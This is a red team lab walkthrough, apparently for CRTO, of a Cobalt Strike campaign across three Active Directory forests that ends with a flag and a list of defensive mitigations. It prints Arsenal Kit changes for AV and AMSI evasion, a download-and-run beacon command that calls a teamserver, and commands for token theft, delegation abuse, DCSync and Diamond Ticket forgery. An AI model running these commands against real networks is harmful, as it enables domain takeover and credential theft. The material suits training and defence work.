CRTO: Cobalt Strike Multi-Domain Enterprise Campaign
This operational guide documents an end-to-end red team engagement conducted via Cobalt Strike across three interconnected Active Directory domains. Beginning with customized Arsenal Kit source modifications to defeat Windows Defender runtime signatures, the operator establishes an initial HTTP Beacon, performs stealthy token stealing and SCShell SMB lateral movement through the child domain, escalates to Enterprise Admin in the forest root via Diamond Ticket forgery, pivots across trust boundaries into an isolated network enclave, and achieves full enclave dominance.
Enterprise Architecture & Target Progression
Commercial EDRs and Windows Defender maintain static and behavioral signatures for standard Cobalt Strike artifacts. The Arsenal Kit provides the source code for Cobalt Strike's loaders, sleep masks, and resource templates, allowing operators to introduce custom obfuscation before payloads are generated.
Key evasion techniques applied:
- Artifact Kit (
patch.c): Replace standard 4-byte XOR decoding loops with a rolling 8-byte XOR key schedule. This alters the compiled binary pattern and breaks signature-based yara rules targeting standard artifact headers. - Resource Kit (
template.x64.ps1): Replace known helper function identifiers (func_get_proc_address) with generic names and resolveWriteProcessMemorydynamically using reflection-based delegates to evade AMSI. - Obfuscated Gzip Wrapper (
compress.ps1): Replace standard string decompression routines with heavily fragmented and token-split PowerShell expressions to defeat script block logging signatures.
patch.c in C:\Tools\cobaltstrike\arsenal-kit\kits\artifact\src-common\:// Replace lines 40-42:
x = sizeof(process);
while (x--) {
*((char *)process + x) = *((char *)process + x) ^ key[x % 8]; // 8-byte XOR
}
// Replace lines 45-47:
x = length;
while (x--) {
*((char *)buffer + x) = *((char *)buffer + x) ^ key[x % 8]; // 8-byte XOR
}
// Replace lines 115-117:
int x = length;
while (x--) {
*((char *)ptr + x) = *((char *)buffer + x) ^ key[x % 8];
}
C:\Tools\cobaltstrike\arsenal-kit\kits\resource\:# In template.x64.ps1: # Replace all 'func_get_proc_address' with 'get_proc_address' # Replace all 'func_get_delegate_type' with 'get_delegate_type' # Replace Line 32 with dynamic delegate invocation: $var_wpm = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((get_proc_address kernel32.dll WriteProcessMemory), (get_delegate_type @([IntPtr], [IntPtr], [Byte[]], [UInt32], [IntPtr]) ([Bool]))) $ok = $var_wpm.Invoke([IntPtr]::New(-1), $var_buffer, $v_code, $v_code.Count, [IntPtr]::Zero)
WriteProcessMemory.wsl cd /mnt/c/Tools/cobaltstrike/arsenal-kit/kits/artifact ./build.sh mailslot VirtualAlloc 486388 0 false false none /mnt/c/Tools/cobaltstrike/custom-artifacts cd /mnt/c/Tools/cobaltstrike/arsenal-kit/kits/resource ./build.sh 5 none true false none /mnt/c/Tools/cobaltstrike/custom-resources
ThreatCheck.exe to verify that Defender does not trigger static detections.# Cobalt Strike -> Script Manager -> Load: C:\Tools\cobaltstrike\custom-artifacts\mailslot\artifact.cna C:\Tools\cobaltstrike\custom-resources\resources.cna C:\Tools\SCShell\CS-BOF\scshell.cna # Listeners created: # 1. HTTP Listener: Hosts 10.0.0.5, Port 80 # 2. SMB Listener: TSVCPIPE-########-####-####-####-###############
beacon_64.exe) hosted via Cobalt Strike Site Management.beacon_64.exe and establish initial C2 communication.
AppLocker policies often allow execution of binaries located in %WINDIR%\* while denying standard writable subfolders like %WINDIR%\Tasks\* or %SYSTEM32%\spool\*. However, writeable directories directly under C:\Windows\ (such as C:\Windows\run.exe when run under administrative elevation or user-accessible subdirectories like C:\Windows\Tracing) allow executable staging.
Executing the HTTP Beacon connects back to the Teamserver listener at 10.0.0.5, establishing our primary foothold session.
DUB-WKSTN-2:iwr 10.0.0.5/beacon_64.exe -O C:/Windows/run.exe ; C:/Windows/run.exe
DUB-WKSTN-2 as SYSTEM.estate user process (Workstation Admins) and execute lateral movement via SCShell.
Rather than injecting into foreign processes (which trips EDR heuristics), Cobalt Strike's steal_token command duplicates the target primary token using Windows APIs (OpenProcessToken, DuplicateTokenEx) and impersonates it on the Beacon thread.
User estate belongs to the Workstation Admins group, granting administrative SMB access across domain workstations. SCShell performs fileless lateral movement by altering an existing service's binpath via ChangeServiceConfigA over DCERPC, starting the service to execute our Beacon payload, and instantly restoring the original binary path.
estate token, and verify computer targets:# In Beacon console: ps steal_token <PID_OF_ESTATE_PROCESS> # Enumerate domain computers with ADSearch: execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --computers
DUBLIN\estate. ADSearch reveals DUB-WKSTN-1.DUB-WKSTN-1:dir \\dub-wkstn-1\c$ ak-settings spawnto_x64 "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" jump scshell64 DUB-WKSTN-1 SMB
ak-settings configures our custom Arsenal Kit spawnto path to spoof Microsoft Edge, executing an SMB Beacon on DUB-WKSTN-1.tdobson on DUB-WKSTN-1 and move laterally to the web server DUB-WEB-1.
On DUB-WKSTN-1, process inspection reveals an active session for tdobson, an administrative service engineer responsible for the organization's web infrastructure. Stealing this token provides access to \\dub-web-1\c$.
tdobson process, steal token, and pivot to DUB-WEB-1:ps steal_token <PID_OF_TDOBSON> dir \\dub-web-1\c$ jump scshell64 DUB-WEB-1 SMB
DUB-WEB-1 chained through DUB-WKSTN-1.DUB-WEB-1$, request a service ticket via Rubeus S4U, and pivot to the SQL server.
Active Directory enumeration reveals that the computer account DUB-WEB-1$ has the TRUSTED_TO_AUTH_FOR_DELEGATION userAccountControl flag set, with msDS-AllowedToDelegateTo populated with mssql/dub-sql-1.dublin.contoso.com.
This traditional Constrained Delegation configuration enables DUB-WEB-1$ to request a Service-for-User-to-Self (S4U2Self) ticket for any domain user (including a Domain Admin), and subsequently submit it via S4U2Proxy to obtain a forwardable TGS for the database service on DUB-SQL-1.
DUB-WEB-1$:execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --computers --attributes msds-allowedtodelegateto
DUB-WEB-1$ is allowed to delegate to mssql/dub-sql-1.dublin.contoso.com.# Elevate to SYSTEM on DUB-WEB-1 getsystem # Extract computer TGT execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe tgtdeleg /nowrap # Perform S4U2Self & S4U2Proxy impersonating Domain Administrator execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:mssql/dub-sql-1.dublin.contoso.com /altservice:cifs /ptt /ticket:<BASE64_TGT>
/altservice:cifs parameter leverages Kerberos Service Ticket Name Alteration, enabling CIFS access to \\dub-sql-1\c$ using the delegated ticket.dir \\dub-sql-1.dublin.contoso.com\c$ jump scshell64 dub-sql-1.dublin.contoso.com SMB
DUB-SQL-1.nwallace (Domain Admin) on DUB-SQL-1 and move laterally to the Domain Controller.
On DUB-SQL-1, process enumeration shows an active session belonging to nwallace. Checking domain group memberships reveals that nwallace is a member of Domain Admins for dublin.contoso.com.
Duplicating this token grants immediate administrative authority over DUB-DC-1, allowing execution of DCSync and extraction of the domain's krbtgt hash.
nwallace token and jump to DUB-DC-1:ps steal_token <PID_OF_NWALLACE> dir \\dub-dc-1\c$ jump scshell64 DUB-DC-1 SMB
DUB-DC-1 as Domain Admin.dcsync dublin.contoso.com DUBLIN\krbtgt
krbtgt for dublin.contoso.com.contoso.com), and forge a Diamond Ticket with Enterprise Admin SID (RID 519) to compromise the forest root.
In an Active Directory forest, the root domain (contoso.com) and child domain (dublin.contoso.com) share a transitive two-way Kerberos trust. By design, forest boundaries (not domain boundaries) form the security perimeter of Active Directory.
A Diamond Ticket requests a legitimate Ticket Granting Ticket (TGT) from the KDC, decrypts it using the domain's krbtgt key, appends the parent forest's Enterprise Admins group SID (S-1-5-21-<PARENT_SID>-519) into the PAC's ExtraSids field, recalculates the cryptographic PAC signatures, and re-encrypts the ticket. Unlike Golden Tickets, Diamond Tickets feature valid ticket timestamps, server-generated salt, and genuine PAC metadata, evading anomaly-based Kerberos detection.
execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(objectClass=trustedDomain)" execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --domain contoso.com --search "(objectClass=domain)" --attributes objectSid
lon-dc-1.contoso.com with SID S-1-5-21-2978393527-2856525890-3498875888.execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe diamond /user:nwallace /domain:dublin.contoso.com /dc:dub-dc-1.dublin.contoso.com /krbtgt:<KRBTGT_AES256> /sids:S-1-5-21-2978393527-2856525890-3498875888-519 /nowrap /ptt
LON-DC-1:dir \\lon-dc-1.contoso.com\c$ jump scshell64 lon-dc-1.contoso.com SMB
LON-DC-1. Total forest root compromise.contoso.enclave, request cross-realm service tickets, and navigate outbound firewall rules via SMB Beacons.
The forest root contoso.com maintains a one-way trust with an isolated enclave forest: contoso.enclave. The enclave network enforces strict egress firewall filtering blocking all outbound internet and HTTP traffic.
Using the inter-forest trust relationship, we request an inter-realm TGS for the enclave jump host cifs/enc-jmp-1.contoso.enclave. Because egress HTTP is blocked, we deploy an SMB Beacon that operates peer-to-peer over port 445 back to our Beacon on LON-DC-1.
ENC-JMP-1:execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:cifs/enc-jmp-1.contoso.enclave /dc:enc-dc-1.contoso.enclave /nowrap /ptt
ENC-JMP-1 based on the inter-forest trust.ENC-JMP-1 using SMB Beacon:dir \\enc-jmp-1.contoso.enclave\c$ ak-settings spawnto_x64 "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" jump scshell64 enc-jmp-1.contoso.enclave SMB
TSVCPIPE-... through LON-DC-1, bypassing outbound firewall restrictions.WriteProperty over ENC-FS-1$, configure Resource-Based Constrained Delegation (RBCD), and capture the final flag.
On ENC-JMP-1, Active Directory enumeration with PowerView identifies that ENC-JMP-1$ possesses WriteProperty (or GenericWrite) on the computer object ENC-FS-1$.
We configure RBCD on ENC-FS-1$ allowing ENC-JMP-1$ to delegate to it. Running Rubeus S4U impersonating the enclave's Administrator grants local administrative privileges on ENC-FS-1, unlocking the final campaign proof.
ENC-FS-1:powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1
powerpick Get-DomainComputer -Identity "ENC-FS-1" | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll" }
ENC-JMP-1$ has permission to write msDS-AllowedToActOnBehalfOfOtherIdentity on ENC-FS-1.ENC-FS-1:# Configure RBCD on ENC-FS-1 allowing ENC-JMP-1$ execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:ENC-JMP-1$ /impersonateuser:Administrator /nowrap /msdsspn:cifs/enc-fs-1.contoso.enclave /ptt /ticket:<ENC_JMP_TGT>
cifs/enc-fs-1.contoso.enclave impersonating Administrator.dir \\enc-fs-1.contoso.enclave\c$ jump scshell64 enc-fs-1.contoso.enclave SMB run cmd /c echo DONE > \\enc-fs-1.contoso.enclave\c$\rto.txt
rto.txt written to \\enc-fs-1.contoso.enclave\c$\. Full cross-domain and enclave takeover validated.
1. Unbacked Executable Memory Detection: Deploy EDR rules scanning for memory allocations possessing PAGE_EXECUTE_READWRITE or PAGE_EXECUTE_READ permissions not backed by a valid PE file on disk (a hallmark of Beacon reflective loaders).
2. Enable Windows Defender Application Control (WDAC): Transition from legacy AppLocker path rules to WDAC with code signing enforcement. WDAC prevents arbitrary binary execution regardless of write permissions in %WINDIR%.
3. Enforce ETW Ti (Threat Intelligence): Enable kernel-level Event Tracing for Windows Threat Intelligence (ETW-Ti) to capture memory allocation events (NtAllocateVirtualMemory) and protect AMSI hooks against patching.
1. Audit and Remove Legacy Constrained Delegation: Eliminate service accounts possessing TRUSTED_TO_AUTH_FOR_DELEGATION. Transition all legacy delegation systems to Resource-Based Constrained Delegation (RBCD) with restricted target services.
2. Enforce "Account is sensitive and cannot be delegated": Apply this flag to all privileged identities (Domain Admins, Workstation Admins, Service Accounts). This instruct the KDC to reject S4U2Proxy forwardable ticket generation.
3. Restrict Computer Object Write Permissions: Audit and remove WriteProperty and GenericWrite on computer objects to prevent unauthorized principals from writing msDS-AllowedToActOnBehalfOfOtherIdentity.
1. Enable SID Filtering on All External Trusts: Enforce SID filtering with netdom trust <domain> /quarantine:yes to strip inter-realm injected SIDs (such as RID 519) at the forest boundary.
2. Rotate krbtgt Keys Regularly: Rotate the krbtgt account password twice consecutively every 180 days using Microsoft's automated New-KrbtgtKeys.ps1 script to invalidate forged Golden and Diamond tickets.
3. Monitor Diamond Ticket Signatures: Audit Event ID 4769 (A Kerberos service ticket was requested). Alert on discrepancies between the client encryption type and requested ticket attributes, and monitor Kerberos PAC validation failures (Event ID 14).
1. Implement Tiered Administrative Separation: Enforce strict separation between Tier 0 (Domain Controllers, PKI), Tier 1 (Enterprise Servers), and Tier 2 (Workstations). Never permit Tier 0 administrators (like nwallace) to log on to Tier 1 or Tier 2 hosts (such as DUB-SQL-1), eliminating token theft vectors.
2. Deploy Windows Defender Credential Guard: Isolate LSASS in a virtualization-protected container (VBS), preventing unprivileged and administrative processes from duplicating tokens or reading Kerberos keys from memory.
3. Enforce Remote Credential Guard / Restricted Admin Mode for RDP: Prevent administrative credentials from being cached in the remote host's LSASS memory during administrative maintenance sessions.